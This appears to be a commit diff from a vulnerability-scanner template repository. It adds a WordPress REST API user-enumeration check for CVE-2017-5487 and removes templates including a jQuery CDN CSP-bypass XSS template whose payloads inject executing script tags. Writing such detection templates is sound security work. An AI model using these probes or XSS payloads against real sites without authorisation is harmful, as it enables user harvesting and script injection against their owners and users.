Create CVE-2017-5487.yaml

.new-additions

@@ -1,4 +1,3 @@
-dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
 file/malware/shai-hulud-supply-chain.yaml
 headless/cves/2025/CVE-2025-7901.yaml
 http/cves/2017/CVE-2017-14725.yaml
@@ -31,7 +30,6 @@ http/misconfiguration/aem/aem-anonymous-write.yaml
 http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
 http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
 http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
-http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
 http/misconfiguration/nginx/nginx-status-403-bypass.yaml
 http/misconfiguration/unauth-akhq-dashboard.yaml
 http/misconfiguration/unauth-hawkeye-dashboard.yaml
@@ -48,5 +46,4 @@ http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
 http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
 http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
 http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
-http/vulnerabilities/wp-functions-php-disclosure.yaml
 http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml

dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml

@@ -1,63 +0,0 @@
-id: jquery-cdn-csp-bypass
-
-info:
-  name: Content-Security-Policy Bypass - jQuery CDN
-  author: 0x_Akoko
-  severity: medium
-  description: |
-    CSP policy allows jQuery CDN which enables arbitrary JavaScript execution through vulnerable jQuery versions using parseHTML or $.get functions.
-  reference:
-    - https://www.doyler.net/security-not-included/csp-bypass-via-jquery
-    - https://github.com/jquery/jquery/issues/2432
-    - https://bugs.jquery.com/ticket/11974
-  metadata:
-    verified: true
-    max-request: 2
-  classification:
-    cwe-id: CWE-79
-  tags: xss,csp-bypass,jquery,vuln
-
-flow: http(1) && headless(1)
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "Content-Security-Policy"
-          - "code.jquery.com"
-        condition: and
-        internal: true
-
-headless:
-  - steps:
-      - action: navigate
-        args:
-          url: "{{BaseURL}}"
-
-      - action: waitdialog
-        name: jquery_csp_xss
-        args:
-          max-duration: 5s
-
-    payloads:
-      injection:
-        - '<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script><script>$.get("data:text/javascript,alert(document.domain)")</script>'
-        - '<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script><div id="x"></div><script>$("#x").html("<img src=x onerror=alert(document.domain)>")</script>'
-
-    fuzzing:
-      - part: query
-        type: replace
-        mode: single
-        fuzz:
-          - "{{url_encode(injection)}}"
-
-    matchers:
-      - type: dsl
-        dsl:
-          - "jquery_csp_xss == true"
-# digest: 490a0046304402204dfeb2253ed0a5f3116c1a890920e318b7cca28ac18dd4f56d191f812f2c8f4d022060844041558f1c64441b60814f110186e2c16d65f9778c121aaed40e886e5eda:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a00473045022100ff04773837067383500f868d5157269c2caf0352a5e98bedf7e0f9db7777e3ae0220429aa87554f392ca8e57f3439df71bfe602ceb5de02eb1ddae9c737d140cbfb2:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b332ec49f605b04235b7cf00bc178f319fa3be48be5948859a2650f7d29d96dc022100ac4c8a87b626ab4c11277ab77e45b01f9a7189560af8dda5445cf4d23a84002b:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100a08677731c06b5e9565c309b8b60df000c38800abad647220d7def34f61e6690022100f839dfbffa9b0c297b4bca43fefdc09a8c2a80fffd1ec936ba20b99dfb531a33:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204464c3ceb0c50ca91c6a6bab0329e6c4339af74c41aa1f89e5b05302051c5cb8022100b63e1a4451e430e345b3d7f8430814203d4308fa5fcd5101efd923b01ae17836:922c64590222798bb761d5b6d8e72950

http/cves/2017/CVE-2017-5487.yaml

@@ -0,0 +1,67 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress REST API - User Enumeration
+  author: ritikchaddha
+  severity: medium
+  description: |
+    WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information, including valid usernames, via a REST API (wp-json/wp/v2/users) request. The vulnerability allows exposure of user data for all users who had authored a post of a public post type.
+  impact: |
+    An attacker can enumerate valid WordPress usernames through the REST API, leading to increased risk of targeted attacks such as brute force attempts or social engineering.
+  remediation: |
+    Update WordPress installations to version 4.7.1 or later, where this vulnerability is addressed. Review REST API exposure and consider installing a plugin like Stop User Enumeration for added protection.
+  reference:
+    - https://github.com/K3ysTr0K3R/CVE-2017-5487-EXPLOIT/blob/main/CVE-2017-5487.py
+    - https://www.exploit-db.com/exploits/41497
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2017-5487
+    cwe-id: CWE-200
+    cpe: cpe:2.3:a:wordpress:wordpress:4.7:*:*:*:*:*:*:*,cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: wordpress
+    product: wordpress
+    shodan-query:
+      - http.component:"WordPress"
+      - http.component:"wordpress"
+      - cpe:"cpe:2.3:a:wordpress:wordpress"
+  tags: cve2017,cve,wordpress,wp,vuln,enum
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"id":'
+          - '"name":'
+          - '"slug":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: json
+        name: "usernames"
+        json:
+          - '.[] | .slug'
+          - '.[].name'
+        part: body

http/miscellaneous/crypto-address-detect.yaml

@@ -49,4 +49,4 @@ http:
           - 'regex("(r[0-9a-zA-Z]{24,34})", body)'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a00473045022100deacf371c69f428ad3c861a01ee78782a70dcba62ae993f8eb7a82315f97d98f022038af66e023165e480d9e1c91144aa908c109aba05e5ec93609f1d593a80d3992:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d18c10429d048418efa47b416a714320e5da149ee8e1f285177060440edcb47f02202266aecccd715a1f201a44e1f940ca139bd72b4d289d7080ba0651e670cd2991:922c64590222798bb761d5b6d8e72950

http/misconfiguration/exposed-gitattributes.yaml

@@ -1,38 +0,0 @@
-id: exposed-gitattributes
-
-info:
-  name: .gitattributes File Exposure
-  author: ritikchaddha
-  severity: info
-  description: |
-    Detects publicly accessible .gitattributes files that may reveal repository structure, custom merge strategies, or other configuration details useful for reconnaissance.
-  reference:
-    - https://git-scm.com/docs/gitattributes
-  metadata:
-    max-request: 1
-    verified: true
-  tags: exposure,git,config
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.gitattributes"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - '(?m)^\*\s+text=auto'
-          - '(?m)^\*\.sh\s+text\s+eol=lf'
-          - '(?m)^\*\.bat\s+text\s+eol=crlf'
-          - '(?m)^\*\.jpg\s+-text'
-
-      - type: word
-        part: content_type
-        words:
-          - "text/plain"
-
-      - type: status
-        status:
-          - 200

http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml

@@ -1,32 +0,0 @@
-id: sharepoint-sitepages-disclosure
-
-info:
-  name: Microsoft SharePoint - Site Pages Disclosure
-  author: pussycat0x
-  severity: low
-  description: |
-    Microsoft SharePoint Site Pages library (/SitePages/) is accessible without proper authentication, exposing site content, page structure, and potentially sensitive information. The Site Pages library contains modern SharePoint pages (.aspx files)
-  reference:
-    - https://learn.microsoft.com/en-us/sharepoint/dev/general-development/work-with-site-pages
-    - https://support.microsoft.com/en-us/office/site-pages-library
-    - https://learn.microsoft.com/en-us/sharepoint/dev/features/site-pages-overview
-  metadata:
-    verified: true
-    vendor: microsoft
-    product: sharepoint
-    fofa-query: app="Microsoft-SharePoint"
-    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: sharepoint,microsoft,disclosure,sitepages,exposure
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/SitePages/Forms/AllPages.aspx"
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains_all(body, "Site Contents","Libraries","accessible mode")'
-        condition: and
-# digest: 4a0a00473045022100fa6a3ab7a4ab54d8c2b13ceb3e395501d9ed57207d0dc27b6afd57729d1dbf580220105b79bd874efd91eff72e94ca40c9ad172661aa42a58f01746e3bc30172725d:922c64590222798bb761d5b6d8e72950

http/vulnerabilities/wp-functions-php-disclosure.yaml

@@ -1,73 +0,0 @@
-id: functions-php-disclosure
-
-info:
-  name: functions.php Full Path Disclosure
-  author: pussycat0x
-  severity: low
-  description: |
-    Detected a full server file path disclosure in the WordPress functions.php file. This exposure revealed sensitive directory information that could have aided attackers in further exploitation.
-  metadata:
-    verified: true
-    fofa-query: 'body="/wp-includes/functions.php"'
-    vendor: wordpress
-    product: wordpress
-    framework: wordpress
-  tags: wordpress,functions.php,disclosure
-variables:
-  path: "{{rand_base(4)}}.php"
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/{{path}}"
-      - "{{BaseURL}}/wp-content/themes/twentytwentyfour/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentytwentythree/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentytwentytwo/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentytwentyone/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentytwenty/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentynineteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentyeighteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentyseventeen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentysixteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentyfifteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentyfourteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentythirteen/functions.php"
-      - "{{BaseURL}}/wp-content/themes/astra/functions.php"
-      - "{{BaseURL}}/wp-content/themes/oceanwp/functions.php"
-      - "{{BaseURL}}/wp-content/themes/generatepress/functions.php"
-      - "{{BaseURL}}/wp-content/themes/kadence/functions.php"
-      - "{{BaseURL}}/wp-content/themes/blocksy/functions.php"
-      - "{{BaseURL}}/wp-content/themes/neve/functions.php"
-      - "{{BaseURL}}/wp-content/themes/hello-elementor/functions.php"
-      - "{{BaseURL}}/wp-content/themes/storefront/functions.php"
-      - "{{BaseURL}}/wp-content/themes/divi/functions.php"
-      - "{{BaseURL}}/wp-content/themes/avada/functions.php"
-      - "{{BaseURL}}/wp-content/themes/twentytwenty-child/functions.php"
-      - "{{BaseURL}}/wp-content/themes/astra-child/functions.php"
-      - "{{BaseURL}}/wp-content/themes/generatepress-child/functions.php"
-
-    stop-at-first-match: true
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 404 || status_code == 200'
-          - ' contains(body, "functions.php") && contains_any(body, "_load_textdomain","Fatal error","Warning","Parse error","Uncaught Error","Call to undefined function")'
-        condition: and
-
-    extractors:
-      - type: regex
-        part: body
-        name: disclosed_path
-        group: 1
-        regex:
-          - '/([a-z/0-9_]+)/wp-includes/functions.php'
-          - "(?:in |at |file )([/a-zA-Z0-9_\\-\\.]+/wp-content/themes/[a-zA-Z0-9_\\-]+/functions\\.php)"
-          - "([A-Z]:\\\\[a-zA-Z0-9_\\-\\\\]+\\\\wp-content\\\\themes\\\\[a-zA-Z0-9_\\-]+\\\\functions\\.php)"
-
-      - type: regex
-        name: theme_name
-        part: body
-        group: 1
-        regex:
-          - "/wp-content/themes/([a-zA-Z0-9_\\-]+)/functions\\.php"
-# digest: 4a0a0047304502204aa2b35e1719380f6644318ceac066955a8099fe89a57602d1c903ab09411ab8022100b55fb8216b23e24f317d8f44e1e1429f98ceb3343f7e751a475add49da00ace1:922c64590222798bb761d5b6d8e72950

http/vulnerabilities/yonyou/yonyou-nc-lfi.yaml

@@ -33,4 +33,4 @@ http:
           - 'contains(content_type, "application/xml")'
           - 'contains_all(body, "<web-app", "<?xml version")'
         condition: and
-# digest: 490a0046304402204743006ba1a67e65dfde964344ced770ba7e3616d21dfb5e12f826560e230f91022029a3bb1ad0afbf1af96e36a3019474a15ed5721fa6ea94bc8912fcf9dcb5852f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008a2bc606d1b6e66dd8c52863db19ce72b4a3bdf17fadfa25ad4f591fef9bf173022049799701112c192e95c180326bb1ed1decb7cd0f3c3f9872e99c9b165acf3d25:922c64590222798bb761d5b6d8e72950

network/detection/unauth-java-message-broker-detect.yaml

@@ -29,4 +29,4 @@ tcp:
       - type: regex
         regex:
           - "imqbroker ([0-9.]+)"
-# digest: 4a0a004730450221008bf5cf690e3982995c48042ec89a14e16997a2cf7369523fc079a3e4d73d200602203342b0aa128ef6d580138b5094795d11b60520afa9e0c59cbdbf62e3a9dd7874:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bcdac9c0238b1fa434b4ebd0bb0485ac418aa01eb4510e1b875505630d14231b022009e6f2b96c9ac22031b0af89c727af58b43dc0ea254bf30beb62f06e303a6b3d:922c64590222798bb761d5b6d8e72950

templates-checksum.txt

@@ -1106,7 +1106,6 @@ dast/vulnerabilities/xss/csp-bypass/ipify-api-csp-bypass.yaml:13199f87f83a73c152
 dast/vulnerabilities/xss/csp-bypass/ipinfo-csp-bypass.yaml:b8209a91a952a86996dc08db112a69fc7b2adc5c
 dast/vulnerabilities/xss/csp-bypass/itunes-csp-bypass.yaml:9c35803d39f92706933c075ccaede022ee26b296
 dast/vulnerabilities/xss/csp-bypass/jd-api-csp-bypass.yaml:cc4249363ccd32d11cebb8b4c43bc2a76dea99b3
-dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml:41025ed2a0414bb8777428aeb9856057bfe5735d
 dast/vulnerabilities/xss/csp-bypass/jsdelivr-csp-bypass.yaml:7dbc0215b68ce418566fb3718e099e0fe4c5ccdc
 dast/vulnerabilities/xss/csp-bypass/lijit-ap-csp-bypass.yaml:b97cf35edcfcc32937a1254faf1c35db909e7887
 dast/vulnerabilities/xss/csp-bypass/livechatinc-api-csp-bypass.yaml:d0b9b125ef161c557dcc584574f57a321ba7d728
@@ -1450,9 +1449,9 @@ file/keys/wireguard/wireguard-preshared.yaml:d46e739b569d876b3d2b38b70865fd42cf7
 file/keys/wireguard/wireguard-private.yaml:b6205c5c9390056f264ec92790d4651d19c0ad69
 file/keys/zapier-webhook.yaml:2e9c468a9b0eed2a6440a1cf827e888a9ac6edac
 file/keys/zendesk-secret-key.yaml:b1ad38c1f02f9417dadfe2f8b07da3d3af4b06c7
-file/logs/aspnet-framework-exceptions.yaml:7a02fe667242bc2e2c320570536181e0978358b5
+file/logs/aspnet-framework-exceptions.yaml:7fa19e7b2f1064dbcd70b83a93d77c7592b0a703
 file/logs/django-framework-exceptions.yaml:11f2844d91bd7d71ccc93dc5cc3e6a7d7d556a29
-file/logs/nodejs-framework-exceptions.yaml:d13634d37fe12bf6bbcad6662d1e5f2e5ef0eb79
+file/logs/nodejs-framework-exceptions.yaml:f0192410aa682d3a0d36bdfe7f57d3f5e2e4450b
 file/logs/python-app-sql-exceptions.yaml:fae875f162ba7159717d28aae03277774181b308
 file/logs/ruby-on-rails-framework-exceptions.yaml:52687d5d2e31f43e2d65d80259d63f1e140a876e
 file/logs/spring-framework-exceptions.yaml:f52c14b9e2cad82d791513e7cee32af8261d05db
@@ -7789,7 +7788,7 @@ http/miscellaneous/balada-injector-malware.yaml:0ae5c67987fe4a82971a1a9982d9fadd
 http/miscellaneous/clientaccesspolicy.yaml:8942c47b5293f01e989350b3ff12ce688f6ab64e
 http/miscellaneous/cloudflare-rocketloader-htmli.yaml:b4c15a555dff0087ded6f76e4071eccea03a84c8
 http/miscellaneous/credit-card-number-detect.yaml:4a23f478b2c58d620f70c785931e5109a0ba6bc8
-http/miscellaneous/crypto-address-detect.yaml:d5ce13a010ace9f3fec3c426f3e3bd9ccf9244a9
+http/miscellaneous/crypto-address-detect.yaml:d187b733d1ecd441b40e828026503fce105f0f41
 http/miscellaneous/crypto-mining-malware.yaml:40dda410b8470d0adf8be830ce2ee2516c28af10
 http/miscellaneous/defaced-website-detect.yaml:250f1221fe7b5a1ca57a01e605f4aafe1e7fd248
 http/miscellaneous/defacement-detect.yaml:3c99abf219f3f2f1ab2c5cb6baee3f92bbda25a2
@@ -8291,7 +8290,6 @@ http/misconfiguration/microsoft/ms-front-page-misconfig.yaml:20c072cae5308e040f2
 http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml:a703137249b9c537efb21669766e83ef3ce4a495
 http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml:e05f974cb1695e1d00d9123cdd1f8f62731a523f
 http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml:9aca8c7687ff8c6872d5e3bcea1f0b5356a649d9
-http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml:62ba807fc7fabf0cd13b1c39ecea3945208e3d69
 http/misconfiguration/mingyu-xmlrpc-sock-adduser.yaml:6f2f85e13718d90cc8247cced55768876de65923
 http/misconfiguration/misconfigured-concrete5.yaml:de2a17e05ebb40a542388e2d9a8cf9ad343bb1c6
 http/misconfiguration/misconfigured-docker.yaml:05de195a54c4205a0b1e42365b2650dc80233a19
@@ -8317,7 +8315,7 @@ http/misconfiguration/netdisco/netdisco-unauth.yaml:11b6f09041c9d0cfe8835de52e0a
 http/misconfiguration/nextcloud-install.yaml:1c528386f9375724d96bf444f9498ca90d47f6d3
 http/misconfiguration/nextcloudpi-dashboard.yaml:243f63c14a0799469374a8b32d7c0208cc23b034
 http/misconfiguration/nginx/nginx-api-traversal.yaml:1122ecd28698057c0bfa91fbd1bcee20c6b04a0a
-http/misconfiguration/nginx/nginx-status-403-bypass.yaml:ccad2b8bb5848189696589ecd2371dcae7078c1c
+http/misconfiguration/nginx/nginx-status-403-bypass.yaml:626650856bd6254aca63c5db09eee9948ad08526
 http/misconfiguration/nginx/nginx-status.yaml:56c824604bc7de18bb884f4dcc070fb33a67ef55
 http/misconfiguration/nginx/nginx-vhost-traffic-status.yaml:ccc4c1a3010f26e684a793dbe77dafefbe168518
 http/misconfiguration/ngrok-status-page.yaml:9bcd1178a868fedc2ccaa75eb81fbc9144a92c4d
@@ -11349,7 +11347,6 @@ http/vulnerabilities/wordpress/wpmudev-pub-keys.yaml:9bbb53ba2b4001d54242a97851b
 http/vulnerabilities/wordpress/wptouch-open-redirect.yaml:e4dc82ef382be8c144fa9ca241549386d12024f0
 http/vulnerabilities/wordpress/wptouch-xss.yaml:b190a7653ff2a09d5ec44e44b57befc35abd6f89
 http/vulnerabilities/wordpress/zero-spam-sql-injection.yaml:32b86508d110a060caffecfcad0af44c4e81f5bb
-http/vulnerabilities/wp-functions-php-disclosure.yaml:efebf12a373c45233ce56f3c2e3e99dd094d4bc9
 http/vulnerabilities/yonyou/chanjet-gnremote-sqli.yaml:6b3bf1763fed3ec3b02060711c04845448cfffa4
 http/vulnerabilities/yonyou/chanjet-tplus-checkmutex-sqli.yaml:6fc5a6e57a07f1eff65cd3793829fe229813d2e4
 http/vulnerabilities/yonyou/chanjet-tplus-file-read.yaml:0a196c827da97863a5efefe2328d99ae2f7a9262
@@ -11367,7 +11364,7 @@ http/vulnerabilities/yonyou/yonyou-nc-baseapp-deserialization.yaml:88518c9ca3a36
 http/vulnerabilities/yonyou/yonyou-nc-dispatcher-fileupload.yaml:35bd482d745f5f773ef6dce16faf7c73eb51c2e3
 http/vulnerabilities/yonyou/yonyou-nc-grouptemplet-fileupload.yaml:dfff98d2e6a550f2a57882f376a0bc1d65416d73
 http/vulnerabilities/yonyou/yonyou-nc-info-leak.yaml:03d9adb72a783690b55b3a77f42eeb6751c362a2
-http/vulnerabilities/yonyou/yonyou-nc-lfi.yaml:8fb190e97441ad85a352804ec966ea48f55dc487
+http/vulnerabilities/yonyou/yonyou-nc-lfi.yaml:c36d837dab6a835d0dcf42bbd1f4f9b12d247b8f
 http/vulnerabilities/yonyou/yonyou-nc-ncmessageservlet-rce.yaml:4c2080417a73e529187c4fceb76f7eb2d226105d
 http/vulnerabilities/yonyou/yonyou-u8-crm-fileupload.yaml:868a6d841bb8f852c9ef93d298a1b1d1efac6447
 http/vulnerabilities/yonyou/yonyou-u8-crm-lfi.yaml:ef445da872245ebc6568826f1daffab42eca25df
@@ -11682,7 +11679,7 @@ network/detection/starttls-mail-detect.yaml:8d31ada78ef30202fae8751cdaa9422392f2
 network/detection/teamspeak3-detect.yaml:e6c560d48afcc0fbd7696e68cce13a0f3a465c8c
 network/detection/telnet-detect.yaml:0bacd4d2ee361018775bfc68e4a0ff6b41314464
 network/detection/totemomail-smtp-detect.yaml:1d903fddfffb12ffdeec7c4f4f91076f0e2b0295
-network/detection/unauth-java-message-broker-detect.yaml:966bc1c1f7bd7672739f49f6bc6ad17c830d981c
+network/detection/unauth-java-message-broker-detect.yaml:8d11d7f90546b0e7df187549a38ac64d0aa3055f
 network/detection/vmware-authentication-daemon-detect.yaml:750589bde6c858ae33daf9ba5616c9f96b72476f
 network/detection/vnc-service-detect.yaml:4e32e5537b5abf51cac12d42260d3382fed8e025
 network/detection/vtun-server.yaml:bf93f133d4a1037d2adffc99b449bcf3b48f7f06
@@ -11805,7 +11802,7 @@ ssl/tls-version.yaml:396e167fe4dc47cc31a3823287f767ac4ba3ed6d
 ssl/untrusted-root-certificate.yaml:bc78917f6ed97df44ec66fd168e6d3d51f2050a9
 ssl/weak-cipher-suites.yaml:a2c5b71896965bcbb458e1d2a5bcf54981301156
 ssl/wildcard-tls.yaml:93487bb9d9c28bf84ae1928887b0dafef67b4117
-templates-checksum.txt:ae800473003766a26239b60c801d2dfd3b2860f2
+templates-checksum.txt:5dcc4b7feeae075d1ac2c9c016bd3aca70468141
 wappalyzer-mapping.yml:7f03bd65baacac20c1dc6bbf35ff2407959574f1
 workflows/74cms-workflow.yaml:bb010e767ad32b906153e36ea618be545b4e22d0
 workflows/acrolinx-workflow.yaml:8434089bb55dec3d7b2ebc6a6f340e73382dd0c4